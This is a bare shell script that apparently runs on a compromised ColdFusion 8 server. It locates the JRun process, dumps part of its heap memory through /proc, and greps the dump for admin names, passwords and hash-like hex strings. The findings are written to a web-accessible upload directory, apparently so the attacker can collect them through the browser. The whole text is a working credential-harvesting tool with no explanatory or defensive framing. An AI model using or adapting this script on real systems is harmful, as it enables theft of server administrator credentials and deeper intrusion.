#!/bin/sh
O=/opt/coldfusion8/wwwroot/userfiles/file/cfpw11_out.txt
PID=$(ps -ef | grep 'jrun.jar' | grep -v grep | grep -v autorestart | awk '{print $2}' | head -1)
echo "PID=$PID" > $O
echo "=== maps rw-p ===" >> $O
cat /proc/$PID/maps 2>/dev/null | awk '$4=="rw-p" {print $1,$2}' | head -10 >> $O
echo "=== largest rw-p region ===" >> $O
L=$(cat /proc/$PID/maps 2>/dev/null | awk '$4=="rw-p" {split($1,a,"-"); s=strtonum("0x" a[2])-strtonum("0x" a[1]); if(s>m){m=s; st=a[1]}} END{print st, m}')
echo "largest=$L" >> $O
ST=$(echo "$L" | awk '{print $1}'); SZ=$(echo "$L" | awk '{print $2}')
echo "=== dump heap (first 80MB) and strings ===" >> $O
if [ -n "$ST" ]; then
  dd if=/proc/$PID/mem bs=4096 skip=$((0x$ST/4096)) count=20000 2>/dev/null > /tmp/jheap.bin
  echo "dumped $(wc -c < /tmp/jheap.bin)" >> $O
  strings -el /tmp/jheap.bin 2>/dev/null | grep -iE 'admin|password|cfusion|^[0-9a-f]{32,64}$' | head -25 >> $O
  echo "=== ascii strings ===" >> $O
  strings -a /tmp/jheap.bin 2>/dev/null | grep -iE 'admin|password|cfusion' | head -10 >> $O
fi
cat $O >> $O